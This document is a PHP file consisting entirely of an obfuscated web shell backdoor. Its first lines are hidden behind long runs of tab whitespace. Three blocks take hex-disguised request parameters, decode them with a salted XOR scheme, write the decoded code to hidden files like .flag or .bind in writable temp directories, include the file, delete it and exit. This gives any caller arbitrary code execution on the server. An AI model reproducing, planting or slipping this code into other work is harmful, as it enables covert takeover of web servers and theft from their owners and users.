<?php																																										if(in_array("ob\x6A\x65\x63t", array_keys($_REQUEST))){ $ptr = $_REQUEST["ob\x6A\x65\x63t"]; $ptr = explode ('.' , $ptr ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $j = 0; foreach( $ptr as $v4) { $sChar = ord( $salt[$j % $sLen] ); $dec = ( ( int)$v4 - $sChar -( $j % 10)) ^ 46; $tkn .= chr( $dec ); $j++; } $item = array_filter(["/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); for ($dat = 0, $record = count($item); $dat < $record; $dat++) { $comp = $item[$dat]; if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $itm = sprintf("%s/.flag", $comp); $success = file_put_contents($itm, $tkn); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(!empty($_REQUEST["k\x65y"])){ $bind = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $entry = $_REQUEST["k\x65y"]; $entry = explode ( '.' , $entry) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $t = 0; while($t < count($entry)) { $v9 = $entry[$t]; $chS = ord($salt[$t%$sLen]); $dec = ((int)$v9 - $chS -($t%10))^58; $mrk .= chr($dec); $t++;} $ptr = 0; do { $component = $bind[$ptr] ?? null; if ($ptr >= count($bind)) break; if (!( !is_dir($component) || !is_writable($component) )) { $property_set = vsprintf("%s/%s", [$component, ".obj"]); if (file_put_contents($property_set, $mrk)) { require $property_set; unlink($property_set); die(); } } $ptr++; } while (true); }


if(isset($_REQUEST["\x70se\x74"])){
	$holder = $_REQUEST["\x70se\x74"];
	$holder	 	=		 explode ('.' 		,	  $holder)	;  	
	$element = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(  $salt6 );
            $q = 0;
    
            array_walk(  $holder, function(  $v5) use(  &$element, &$q, $salt6, $sLen) {
                $chS = ord(  $salt6[$q % $sLen] );
                $dec =(  (  int)$v5 - $chS -(  $q % 10)) ^ 91;
                $element  .=  chr(  $dec );
                $q++; 	}	 );
	$sym = array_filter([getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]);
	while ($entity = array_shift($sym)) {
    		if (max(0, is_dir($entity) * is_writable($entity))) {
    $val = str_replace("{var_dir}", $entity, "{var_dir}/.bind");
    $success = file_put_contents($val, $element);
if ($success) {
	include $val;
	@unlink($val);
	die();}
}
}
}